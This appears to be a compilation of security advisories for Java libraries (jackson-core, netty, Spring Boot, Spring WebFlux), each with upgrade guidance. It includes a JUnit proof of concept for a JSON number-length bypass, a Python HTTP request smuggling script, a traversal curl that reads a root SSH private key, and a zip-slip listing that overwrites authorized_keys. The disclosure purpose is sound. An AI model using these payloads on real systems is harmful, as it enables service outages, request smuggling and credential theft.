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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the verifyContinuationFrame function. An attacker can cause excessive CPU consumption and render the server unresponsive by sending a large number of zero-byte CONTINUATION frames, bypassing existing size-based mitigations.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.132.Final, 4.2.10.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the Actuator CloudFoundry endpoints. An attacker can gain unauthorized access to protected endpoints by sending requests to application endpoints declared under the CloudFoundry Actuator path.

Note:

This is only exploitable if all of the following conditions are met:

• the application is a web application

• the application contributes an application endpoint that requires authentication under a subpath, like "/cloudfoundryapplication/admin"

Remediation

Upgrade org.springframework.boot:spring-boot-actuator to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the configuration of endpoints under paths already assigned to Health Group additional paths. An attacker can gain unauthorized access to protected endpoints by sending requests to these specific paths.

Note:

This is only exploitable if all of the following conditions are met:

• the application declares a custom health group (here "mygroup"), with management.endpoint.health.group.mygroup.include

• this health group is exposed under an additional path on the main server, like management.endpoint.health.group.mygroup.additional-path=server:/healthz

• the application contributes an application endpoint that requires authentication under a subpath, like "/healthz/admin"

Mapping application endpoints under infrastructure endpoints like Actuators is not recommended by the Spring team and doing so is likely to interfere with other configurations and cause behavior problems. This setup is expected to rarely occur in production.

Remediation

Upgrade org.springframework.boot:spring-boot-actuator to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the Actuator CloudFoundry endpoints. An attacker can gain unauthorized access to protected endpoints by sending requests to application endpoints declared under the CloudFoundry Actuator path.

Note:

This is only exploitable if all of the following conditions are met:

• the application is a web application

• the application contributes an application endpoint that requires authentication under a subpath, like "/cloudfoundryapplication/admin"

Remediation

Upgrade org.springframework.boot:spring-boot-actuator-autoconfigure to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the configuration of endpoints under paths already assigned to Health Group additional paths. An attacker can gain unauthorized access to protected endpoints by sending requests to these specific paths.

Note:

This is only exploitable if all of the following conditions are met:

• the application declares a custom health group (here "mygroup"), with management.endpoint.health.group.mygroup.include

• this health group is exposed under an additional path on the main server, like management.endpoint.health.group.mygroup.additional-path=server:/healthz

• the application contributes an application endpoint that requires authentication under a subpath, like "/healthz/admin"

Mapping application endpoints under infrastructure endpoints like Actuators is not recommended by the Spring team and doing so is likely to interfere with other configurations and cause behavior problems. This setup is expected to rarely occur in production.

Remediation

Upgrade org.springframework.boot:spring-boot-actuator-autoconfigure to version 3.5.12, 4.0.4 or higher.

References

• GitHub Commit
• Spring Advisory

Overview

org.springframework:spring-webflux is a Spring Framework module that contains support for reactive HTTP and WebSocket clients as well as for reactive server web applications including REST, HTML browser, and WebSocket style interactions.

Affected versions of this package are vulnerable to Directory Traversal via the Script View Templates. An attacker can access sensitive file contents outside of the intended directories by leveraging the Java scripting engine in template rendering.

Note:

This is only exploitable if the application has a mapping for "/**" that results in view rendering, and where the view name is not explicitly specified.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webflux to version 6.2.17, 7.0.6 or higher.

References

• GitHub Commit
• Spring Advisory